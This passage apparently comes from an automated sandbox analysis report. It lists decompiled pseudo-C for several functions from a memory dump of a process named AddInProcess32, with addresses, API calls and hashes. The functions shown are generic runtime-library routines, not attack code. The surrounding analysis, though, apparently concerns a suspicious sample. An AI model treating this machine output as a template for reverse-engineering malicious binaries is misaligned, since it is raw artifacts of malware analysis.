									 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000008;
								}
							} else {
								 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000040;
							}
						}
					} else {
						 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000080;
					}
					_t31 = _t31 + 1;
				} while (_t31 != 3);
				return _t20;
			}










                                                          0x0040ca56
                                                          0x0040ca58
                                                          0x0040ca5c
                                                          0x0040ca65
                                                          0x0040ca70
                                                          0x0040ca80
                                                          0x0040ca84
                                                          0x0040ca87
                                                          0x0040ca99
                                                          0x0040ca89
                                                          0x0040ca8c
                                                          0x0040ca95
                                                          0x0040ca8e
                                                          0x0040ca91
                                                          0x0040ca91
                                                          0x0040ca8c
                                                          0x0040ca9b
                                                          0x0040caa3
                                                          0x0040caa8
                                                          0x0040cab7
                                                          0x0040caae
                                                          0x0040caaf
                                                          0x0040caaf
                                                          0x0040cabb
                                                          0x0040cad9
                                                          0x0040cadd
                                                          0x0040cae4
                                                          0x0040caeb
                                                          0x0040caed
                                                          0x0040caf0
                                                          0x0040caf0
                                                          0x0040cabd
                                                          0x0040cabd
                                                          0x0040cac0
                                                          0x0040cac6
                                                          0x0040cad1
                                                          0x0040cad3
                                                          0x0040cad3
                                                          0x0040cac8
                                                          0x0040cac8
                                                          0x0040cac8
                                                          0x0040cac6
                                                          0x0040ca78
                                                          0x0040ca78
                                                          0x0040ca78
                                                          0x0040caf7
                                                          0x0040caf8
                                                          0x0040cb04

                                                          APIs
                                                          • GetStdHandle.KERNEL32(000000F6), ref: 0040CA9D
                                                          • GetFileType.KERNEL32(00000000), ref: 0040CAAF
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: FileHandleType
                                                          • String ID: tk
                                                          • API String ID: 3000768030-1447009232
                                                          • Opcode ID: 00e327c946d6f7f921e98d323acaffcaf8e0b169dbaae8699914863d8f384ef1
                                                          • Instruction ID: ef7f071ed6ea463157c832152d3f0a77a35e2e5b75e8af60a32848482e7d4767
                                                          • Opcode Fuzzy Hash: 00e327c946d6f7f921e98d323acaffcaf8e0b169dbaae8699914863d8f384ef1
                                                          • Instruction Fuzzy Hash: 56119661304749C6C730CF7E9CC87236A949796330B34073BD4B6E66F1C778D986AA59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040DE88 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040DE88(void* __ecx) {
				intOrPtr _t9;
				intOrPtr _t14;
				intOrPtr _t18;
				signed int _t21;
				signed int _t28;
				intOrPtr _t30;
				intOrPtr _t31;

				_t9 =  *0x41b610; // 0x200
				_t30 = 3;
				if(_t9 != 0) {
					__eflags = _t9 - _t30;
					if(_t9 < _t30) {
						_t9 = _t30;
						goto L4;
					}
				} else {
					_t9 = 0x200;
					L4:
					 *0x41b610 = _t9;
				}
				 *0x41b614 = E0040B1B0(_t9, 4);
				E0040A8C2(0);
				if( *0x41b614 != 0) {
					L8:
					_t28 = 0;
					__eflags = 0;
					_t31 = 0x41a6a8;
					do {
						_t1 = _t31 + 0x20; // 0x41a6c8
						E0040D5EB(__eflags, _t1, 0xfa0, 0);
						_t14 =  *0x41b614; // 0x6b7420
						 *((intOrPtr*)(_t14 + _t28 * 4)) = _t31;
						_t18 =  *((intOrPtr*)( *((intOrPtr*)(0x41b310 + (_t28 >> 6) * 4)) + 0x18 + (_t28 & 0x0000003f) * 0x38));
						__eflags = _t18 - 0xffffffff;
						if(_t18 == 0xffffffff) {
							L12:
							 *((intOrPtr*)(_t31 + 0x10)) = 0xfffffffe;
						} else {
							__eflags = _t18 - 0xfffffffe;
							if(_t18 == 0xfffffffe) {
								goto L12;
							} else {
								__eflags = _t18;
								if(_t18 == 0) {
									goto L12;
								}
							}
						}
						_t31 = _t31 + 0x38;
						_t28 = _t28 + 1;
						__eflags = _t31 - 0x41a750;
					} while (__eflags != 0);
					__eflags = 0;
					return 0;
				} else {
					 *0x41b610 = _t30;
					 *0x41b614 = E0040B1B0(_t30, 4);
					_t21 = E0040A8C2(0);
					if( *0x41b614 != 0) {
						goto L8;
					} else {
						return _t21 | 0xffffffff;
					}
				}
			}










                                                          0x0040de88
                                                          0x0040de90
                                                          0x0040de93
                                                          0x0040de9c
                                                          0x0040de9e
                                                          0x0040dea0
                                                          0x00000000
                                                          0x0040dea0
                                                          0x0040de95
                                                          0x0040de95
                                                          0x0040dea2
                                                          0x0040dea2
                                                          0x0040dea2
                                                          0x0040deb1
                                                          0x0040deb6
                                                          0x0040dec5
                                                          0x0040def2
                                                          0x0040def3
                                                          0x0040def3
                                                          0x0040def5
                                                          0x0040defa
                                                          0x0040df01
                                                          0x0040df05
                                                          0x0040df0a
                                                          0x0040df14
                                                          0x0040df26
                                                          0x0040df2a
                                                          0x0040df2d
                                                          0x0040df38
                                                          0x0040df38
                                                          0x0040df2f
                                                          0x0040df2f
                                                          0x0040df32
                                                          0x00000000
                                                          0x0040df34
                                                          0x0040df34
                                                          0x0040df36
                                                          0x00000000
                                                          0x00000000
                                                          0x0040df36
                                                          0x0040df32
                                                          0x0040df3f
                                                          0x0040df42
                                                          0x0040df43
                                                          0x0040df43
                                                          0x0040df4c
                                                          0x0040df4f
                                                          0x0040dec7
                                                          0x0040deca
                                                          0x0040ded7
                                                          0x0040dedc
                                                          0x0040deeb
                                                          0x00000000
                                                          0x0040deed
                                                          0x0040def1
                                                          0x0040def1
                                                          0x0040deeb

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID: tk
                                                          • API String ID: 269201875-1447009232
                                                          • Opcode ID: 982a4b72888cd9f9a51cb4c79064d9dd99623892f322d766b5a9d70a80f0d2bc
                                                          • Instruction ID: 7dc9a546e2472937296b8820e315ccdf7719c33b04b0773035e65f7590d4a7fe
                                                          • Opcode Fuzzy Hash: 982a4b72888cd9f9a51cb4c79064d9dd99623892f322d766b5a9d70a80f0d2bc
                                                          • Instruction Fuzzy Hash: 4D11BE71E116115ADB20AF69AC01B963394EBB4324F14863BF921EB3D0E77CD94646CE
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040798D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 91%
                                                          			E0040798D(void* __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				char _v0;
				void* _v808;
				int _t10;
				intOrPtr _t15;
				signed int _t16;
				signed int _t18;
				signed int _t20;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr* _t31;
				intOrPtr* _t33;
				void* _t36;

				_t29 = __esi;
				_t28 = __edi;
				_t27 = __edx;
				_t24 = __ecx;
				_t23 = __ebx;
				_t36 = _t24 -  *0x41a000; // 0xdd666744
				if(_t36 != 0) {
					_t31 = _t33;
					_t10 = IsProcessorFeaturePresent(0x17);
					if(_t10 != 0) {
						_t24 = 2;
						asm("int 0x29");
					}
					 *0x41ad20 = _t10;
					 *0x41ad1c = _t24;
					 *0x41ad18 = _t27;
					 *0x41ad14 = _t23;
					 *0x41ad10 = _t29;
					 *0x41ad0c = _t28;
					 *0x41ad38 = ss;
					 *0x41ad2c = cs;
					 *0x41ad08 = ds;
					 *0x41ad04 = es;
					 *0x41ad00 = fs;
					 *0x41acfc = gs;
					asm("pushfd");
					_pop( *0x41ad30);
					 *0x41ad24 =  *_t31;
					_t1 =  &_v0; // 0x407871
					 *0x41ad28 =  *_t1;
					 *0x41ad34 =  &_a4;
					 *0x41ac70 = 0x10001;
					_t15 =  *0x41ad28; // 0x0
					 *0x41ac2c = _t15;
					 *0x41ac20 = 0xc0000409;
					 *0x41ac24 = 1;
					 *0x41ac30 = 1;
					_t16 = 4;
					 *((intOrPtr*)(0x41ac34 + _t16 * 0)) = 2;
					_t18 = 4;
					_t25 =  *0x41a000; // 0xdd666744
					 *((intOrPtr*)(_t31 + _t18 * 0 - 8)) = _t25;
					_t20 = 4;
					_t26 =  *0x41a004; // 0x229998bb
					 *((intOrPtr*)(_t31 + (_t20 << 0) - 8)) = _t26;
					return E0040799B(0x413270);
				} else {
					return __eax;
				}
			}




















                                                          0x0040798d
                                                          0x0040798d
                                                          0x0040798d
                                                          0x0040798d
                                                          0x0040798d
                                                          0x0040798d
                                                          0x00407993
                                                          0x004079c4
                                                          0x004079ce
                                                          0x004079d6
                                                          0x004079da
                                                          0x004079db
                                                          0x004079db
                                                          0x004079dd
                                                          0x004079e2
                                                          0x004079e8
                                                          0x004079ee
                                                          0x004079f4
                                                          0x004079fa
                                                          0x00407a00
                                                          0x00407a07
                                                          0x00407a0e
                                                          0x00407a15
                                                          0x00407a1c
                                                          0x00407a23
                                                          0x00407a2a
                                                          0x00407a2b
                                                          0x00407a34
                                                          0x00407a39
                                                          0x00407a3c
                                                          0x00407a44
                                                          0x00407a4f
                                                          0x00407a59
                                                          0x00407a5e
                                                          0x00407a63
                                                          0x00407a6d
                                                          0x00407a77
                                                          0x00407a83
                                                          0x00407a87
                                                          0x00407a93
                                                          0x00407a97
                                                          0x00407a9d
                                                          0x00407aa3
                                                          0x00407aa7
                                                          0x00407aad
                                                          0x00407abc
                                                          0x00407995
                                                          0x00407995
                                                          0x00407995

                                                          APIs
                                                          • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004079CE
                                                          • ___raise_securityfailure.LIBCMT ref: 00407AB6
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: FeaturePresentProcessor___raise_securityfailure
                                                          • String ID: qx@
                                                          • API String ID: 3761405300-994601243
                                                          • Opcode ID: 41a5eab27b1b53a7412490288dcc9c8e2a68f2db72c4290b57f707269a6085fe
                                                          • Instruction ID: 873ec89da7dc3a95cfa2455b090d02b63977556da24b1f6ca99e77e1a94034c1
                                                          • Opcode Fuzzy Hash: 41a5eab27b1b53a7412490288dcc9c8e2a68f2db72c4290b57f707269a6085fe
                                                          • Instruction Fuzzy Hash: 8921E4B4512604DBE700CF15FA46A943BB6BB48329F10D43BE50487BA1E7B859A0CB8F
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040FAD9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 89%
                                                          			E0040FAD9(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t30;
				intOrPtr _t31;
				signed char _t33;
				intOrPtr _t34;
				intOrPtr _t37;
				intOrPtr _t39;
				intOrPtr _t40;
				signed int _t52;
				void* _t54;
				void* _t59;

				_t49 = __edi;
				_t42 = __ebx;
				_push(0x10);
				_push(0x418820);
				E004082D0(__ebx, __edi, __esi);
				 *(_t54 - 0x1c) =  *(_t54 - 0x1c) & 0x00000000;
				E0040C67C(8);
				 *(_t54 - 4) =  *(_t54 - 4) & 0x00000000;
				_t52 = 3;
				while(1) {
					 *(_t54 - 0x20) = _t52;
					_t59 = _t52 -  *0x41b610; // 0x200
					if(_t59 == 0) {
						break;
					}
					_t30 =  *0x41b614; // 0x6b7420
					_t31 =  *((intOrPtr*)(_t30 + _t52 * 4));
					if(_t31 != 0) {
						_t33 =  *(_t31 + 0xc) >> 0xd;
						_t61 = _t33 & 0x00000001;
						if((_t33 & 0x00000001) != 0) {
							_t40 =  *0x41b614; // 0x6b7420
							_push( *((intOrPtr*)(_t40 + _t52 * 4)));
							if(E0041005A(_t42, _t49, _t52, _t61) != 0xffffffff) {
								 *(_t54 - 0x1c) =  *(_t54 - 0x1c) + 1;
							}
						}
						_t34 =  *0x41b614; // 0x6b7420
						DeleteCriticalSection( *((intOrPtr*)(_t34 + _t52 * 4)) + 0x20);
						_t37 =  *0x41b614; // 0x6b7420
						E0040A8C2( *((intOrPtr*)(_t37 + _t52 * 4)));
						_t39 =  *0x41b614; // 0x6b7420
						 *(_t39 + _t52 * 4) =  *(_t39 + _t52 * 4) & 0x00000000;
					}
					_t52 = _t52 + 1;
				}
				 *(_t54 - 4) = 0xfffffffe;
				E0040FB7B();
				 *[fs:0x0] =  *((intOrPtr*)(_t54 - 0x10));
				return  *(_t54 - 0x1c);
			}













                                                          0x0040fad9
                                                          0x0040fad9
                                                          0x0040fad9
                                                          0x0040fadb
                                                          0x0040fae0
                                                          0x0040fae5
                                                          0x0040faeb
                                                          0x0040faf1
                                                          0x0040faf7
                                                          0x0040faf8
                                                          0x0040faf8
                                                          0x0040fafb
                                                          0x0040fb01
                                                          0x00000000
                                                          0x00000000
                                                          0x0040fb03
                                                          0x0040fb08
                                                          0x0040fb0d
                                                          0x0040fb13
                                                          0x0040fb16
                                                          0x0040fb18
                                                          0x0040fb1a
                                                          0x0040fb1f
                                                          0x0040fb2b
                                                          0x0040fb2d
                                                          0x0040fb2d
                                                          0x0040fb2b
                                                          0x0040fb30
                                                          0x0040fb3c
                                                          0x0040fb42
                                                          0x0040fb4a
                                                          0x0040fb50
                                                          0x0040fb55
                                                          0x0040fb55
                                                          0x0040fb59
                                                          0x0040fb59
                                                          0x0040fb5c
                                                          0x0040fb63
                                                          0x0040fb6e
                                                          0x0040fb7a

                                                          APIs
                                                            • Part of subcall function 0040C67C: EnterCriticalSection.KERNEL32(?,?,0040D899,00000000,00418740,0000000C,0040D860,?,?,0040B1E3,?,?,0040B0A6,00000001,00000364,00000006), ref: 0040C68B
                                                          • DeleteCriticalSection.KERNEL32(?,?,?,?,?,00418820,00000010,0040DF5D), ref: 0040FB3C
                                                          • _free.LIBCMT ref: 0040FB4A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: CriticalSection$DeleteEnter_free
                                                          • String ID: tk
                                                          • API String ID: 1836352639-1447009232
                                                          • Opcode ID: f0cbf5fcaf6be3ed249fbb38431c8f3d05917a66d57cd66b307b7a4c4d26fbe2
                                                          • Instruction ID: 68782eadba30d65225e8289a8638f3bb5b77a43ad01525e627d98d6a6c5c8fb4
                                                          • Opcode Fuzzy Hash: f0cbf5fcaf6be3ed249fbb38431c8f3d05917a66d57cd66b307b7a4c4d26fbe2
                                                          • Instruction Fuzzy Hash: BF114F726002109FD720AF98D945B9D77B0EB58725F10417AE451AB3E1CB78E8468F5E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040DF50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040DF50(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed int _t5;
				signed int _t7;
				void* _t10;
				void* _t16;
				void* _t17;

				E0040DE7F(__ecx);
				E0040FAD9(__ebx, __edi, _t16, __eflags);
				_t17 = 0;
				do {
					_t5 =  *0x41b614; // 0x6b7420
					E0040FB84( *((intOrPtr*)(_t17 + _t5)));
					_t7 =  *0x41b614; // 0x6b7420
					DeleteCriticalSection( *((intOrPtr*)(_t17 + _t7)) + 0x20);
					_t17 = _t17 + 4;
				} while (_t17 != 0xc);
				_t10 = E0040A8C2( *0x41b614);
				 *0x41b614 =  *0x41b614 & 0x00000000;
				return _t10;
			}









                                                          0x0040df53
                                                          0x0040df58
                                                          0x0040df5d
                                                          0x0040df5f
                                                          0x0040df5f
                                                          0x0040df67
                                                          0x0040df6c
                                                          0x0040df79
                                                          0x0040df7f
                                                          0x0040df82
                                                          0x0040df8d
                                                          0x0040df92
                                                          0x0040df9b

                                                          APIs
                                                            • Part of subcall function 0040FAD9: DeleteCriticalSection.KERNEL32(?,?,?,?,?,00418820,00000010,0040DF5D), ref: 0040FB3C
                                                            • Part of subcall function 0040FAD9: _free.LIBCMT ref: 0040FB4A
                                                            • Part of subcall function 0040FB84: _free.LIBCMT ref: 0040FBA8
                                                          • DeleteCriticalSection.KERNEL32(006B7400), ref: 0040DF79
                                                          • _free.LIBCMT ref: 0040DF8D
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: _free$CriticalDeleteSection
                                                          • String ID: tk
                                                          • API String ID: 1906768660-1447009232
                                                          • Opcode ID: b5cf438930fbf6f849d9d7bf20bffac052e1b819af7ab5e297fbb50eaa370d50
                                                          • Instruction ID: fdecb5c78a750e56066308bfa50b011960b49439519c0cdd62fb3c679797bdcb
                                                          • Opcode Fuzzy Hash: b5cf438930fbf6f849d9d7bf20bffac052e1b819af7ab5e297fbb50eaa370d50
                                                          • Instruction Fuzzy Hash: ECE0123291411087C661B799FD45A8577A4DFB8315B01443AF405632A5CB386C158EDF
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040C43E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040C43E() {

				 *0x41b1b0 = GetCommandLineA();
				 *0x41b1b4 = GetCommandLineW();
				return 1;
			}



                                                          0x0040c444
                                                          0x0040c44f
                                                          0x0040c456

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: CommandLine
                                                          • String ID: 4j
                                                          • API String ID: 3253501508-3510756419
                                                          • Opcode ID: 84ceb4274967ccfc4221958372715e59df3768d7a9ab1b6829ac7fcaf870c1ac
                                                          • Instruction ID: 2d91e58c8ff9f3b52d8417fb709a2b5033a94834e68cd4aaa04c99a98952d7ad
                                                          • Opcode Fuzzy Hash: 84ceb4274967ccfc4221958372715e59df3768d7a9ab1b6829ac7fcaf870c1ac
                                                          • Instruction Fuzzy Hash: FEB00878855244EB87409F74AA2C1847AB0F6586423C99675D41592620DB3541059B5C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%